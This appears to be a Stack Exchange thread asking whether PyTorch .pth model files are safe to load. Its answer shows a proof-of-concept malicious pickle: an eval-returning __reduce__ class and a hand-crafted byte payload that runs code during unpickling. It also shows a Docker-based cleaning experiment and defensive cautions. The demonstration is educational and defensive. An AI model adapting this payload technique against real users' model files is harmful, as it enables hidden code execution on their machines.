Is a .pth file a security risk, and how can we sanitise it?
It's well-established that pickled files are  [unsafe][1] to simply load directly. However, the advice on that SE post concludes that basically one should not use a pickled file if they are not sure of its provenance.
What about PyTorch machine-learning models that are stored as .pth files on, say, public repos on Github, which we want to use for inference? For example, if I have a model.pth which I plan to load with torch.load(model.pth), is it necessary to check it's safe to do so? Assuming I have no choice but to use the model, how should one go about checking it?
Given these models are ultimately just weights, could we do something like make a minimal Docker container with PyTorch, load the model inside there, and then resave the weights? Is this necessary, and what sort of checking should we do (i.e. assuming it is safe to load within the container, what sort of code treatment should be applied to sanitise the model for shipping?).
EDIT: response to asking for clarification: say I have a model.pth - (1) do I need to be careful with it, like I would with a .pkl, given a .pth is meant to contain only model weights? Or can I just go ahead and throw it into torch.load(model.pth)? (2) If I can't, what can I do before torch.load() to provide some peace-of-mind?
EDIT 2: An answer should show some focus on ML pretrained models in particular. An example: see the model https://download.pytorch.org/models/resnet34-333f7ec4.pth (warning: 80 MB download from TorchHub - feel free to use another Resnet .pth model, but any cleaning does need to be reasonably fast). Currently I would download this and then load it in PyTorch using load_state_dict (explained in detail [here][2] for example). If I didn't know this was a safe model, how could I try to sanitise it first before loading it in load_state_dict?


  [1]: https://stackoverflow.com/questions/25353753/python-can-i-safely-unpickle-untrusted-data
  [2]: https://www.programmersought.com/article/95324315915/


As pointed out by @MobeusZoom, this is answer is about Pickle and not PyTorch format. Anyway as PyTorch load mechanism relies on Pickle behind the scene observations drawn in this answer still apply.
TL;DR;

Don't try to sanitize pickle. Trust or reject.

Quoted from Marco Slaviero in his presentation Sour Pickle at the Black Hat USA 2011.
Real solution is:

Don't setup exchange with unequally trusted parties;
Setup a secure transport layer for exchange;
Sign exchanged files;

Also be aware that there are new kind of AI based attacks, this even if the pickle is shellcode free, you still may have other issues to address when loading pre-trained networks from untrusted sources.
Important notes
From the presentation linked above we can draw several important notes:

Pickle use a Virtual Machine to reconstruct live data (PVM happens alongside the python process), this virtual machine is not Turing complete but has: an instruction set (opcodes), a stack for the execution and a memo to host object data. This is enough for attacker to create exploits.
Pickle mechanism is backward compatible, it means latest Python can unpickle the very first version of its protocol.
Pickle can (re)construct any object as long as PVM does not crash, there is no consistency check in this mechanism to enforce object integrity.
In broad outline, Pickle allows attacker to execute shellcode in any language (including python) and those code can even persist after the victim program exits.
Attacker will generally forge their own pickles because it offers more flexibility than naively using pickle mechanism. Off course they can use pickle as an helper to write opcode sequences. Attacker can craft the malicious pickle payload in two significant ways:

to prepend the shellcode to be executed first and leave the PVM stack clean. Then you probably get a normal object after unpickling;
to insert the shellcode into the payload, so it gets executed while unpickling and may interact with the memo. Then unpickled object may have extra capabilities.


Attackers are aware of &quot;safe unpickler&quot; and know how to circumvent them.

MCVE
Find below a very naive MCVE to evaluate your suggestion to encapsulate cleaning of suspect pickled files in Docker container. We will use it to assess main associated risks. Be aware, real exploit will be more advanced and complexer.
Consider the two classes below, Normal is what you expect to unpickle:
# normal.py
class Normal:

    def __init__(self, config):
        self.__dict__.update(config)

    def __str__(self):
        return &quot;&lt;Normal %s&gt;&quot; % self.__dict__

And Exploit is the attacker vessel for its shellcode:
# exploit.py
class Exploit(object):

    def __reduce__(self):
        return (eval, (&quot;print('P@wn%d!')&quot;,))

Then, the attacker can use pickle as an helper to produce intermediate payloads in order to forge the final exploit payload:
import pickle
from normal import Normal
from exploit import Exploit

host = Normal({&quot;hello&quot;: &quot;world&quot;})
evil = Exploit()

host_payload = pickle.dumps(host, protocol=0) # b'c__builtin__\neval\np0\n(S&quot;print(\'P@wn%d!\')&quot;\np1\ntp2\nRp3\n.'
evil_payload = pickle.dumps(evil, protocol=0) # b'(i__main__\nNormal\np0\n(dp1\nS&quot;hello&quot;\np2\nS&quot;world&quot;\np3\nsb.'

At this point the attacker can craft a specific payload to both inject its shellcode and returns the data.
with open(&quot;inject.pickle&quot;, &quot;wb&quot;) as handler:
    handler.write(b'c__builtin__\neval\np0\n(S&quot;print(\'P@wn%d!\')&quot;\np1\ntp2\nRp3\n(i__main__\nNormal\np0\n(dp1\nS&quot;hello&quot;\np2\nS&quot;world&quot;\np3\nsb.')

Now, when victim will deserialize the malicious pickle file, the exploit is executed and a valid object is returned as expected:
from normal import Normal
with open(&quot;inject.pickle&quot;, &quot;rb&quot;) as handler:
     data = pickle.load(handler)
print(data)

Execution returns:
P@wn%d!
&lt;Normal {'hello': 'world'}&gt;

Off course, shellcode is not intended to be so obvious, you may not notice it has been executed.
Containerized cleaner
Now, lets try to clean this pickle as you suggested. We will encapsulate the following cleaning code:
# cleaner.py
import pickle
from normal import Normal

with open(&quot;inject.pickle&quot;, &quot;rb&quot;) as handler:
    data = pickle.load(handler)
print(data)

cleaned = Normal(data.__dict__)
with open(&quot;cleaned.pickle&quot;, &quot;wb&quot;) as handler:
    pickle.dump(cleaned, handler)

with open(&quot;cleaned.pickle&quot;, &quot;rb&quot;) as handler:
    recovered = pickle.load(handler)
print(recovered)

Into a Docker image to try to contain its execution. As a baseline, we could do something like this:
FROM python:3.9

ADD ./exploit ./
RUN chown 1001:1001 inject.pickle

USER 1001:1001

CMD [&quot;python3&quot;, &quot;./cleaner.py&quot;]

Then we build the image and execute it:
docker build -t jlandercy/doclean:1.0 .
docker run -v /home/jlandercy/exploit:/exploit jlandercy/doclean:1.0

Also ensure the mounted folder containing the exploit has restrictive ad hoc permissions.
P@wn%d!
&lt;Normal {'hello': 'world'}&gt; # &lt;-- Shellcode has been executed
&lt;Normal {'hello': 'world'}&gt; # &lt;-- Shellcode has been removed

Now the cleaned.pickle is shellcode free. Off course you need to carefully check this assumption before releasing the cleaned pickle.
Observations
As you can see, Docker image does not prevent the exploit to be executed when unpickling but it may help to contain the exploit in some extent.
Points of attention are (not exhaustive):

Having a recent pickle file with the original protocol is a hint but not an evidence of something suspicious.
Be aware even if containerized, you still are running attacker code on your host;
Additionally, attacker may have designed its exploit to break a Docker container, use unprivileged user to reduce the risk;
Don't bind any network to this container as attacker can start a terminal and expose it over a network interface (and potentially to the web);
Depending on how the attacker has designed its exploit data may not be available at all. For the instance, if __reduce__ method actually returns the exploit instead of a recipe to recreate the desired instance. After all the main purpose of this is to make you unpickling it nothing more;
If you intend to dump raw data after loading the suspicious pickle archive you need a strict procedure to detach data from the exploit;
The cleaning step can be a limitation. It relies on your ability to recreate the intended object from the malicious payload. It will depends on what is really reconstructed from the pickle file and how the desired object constructor needs to be parametrized;
Finally, if you are confident in your cleaning procedure, you can mount a volume to access the result after the container exits.

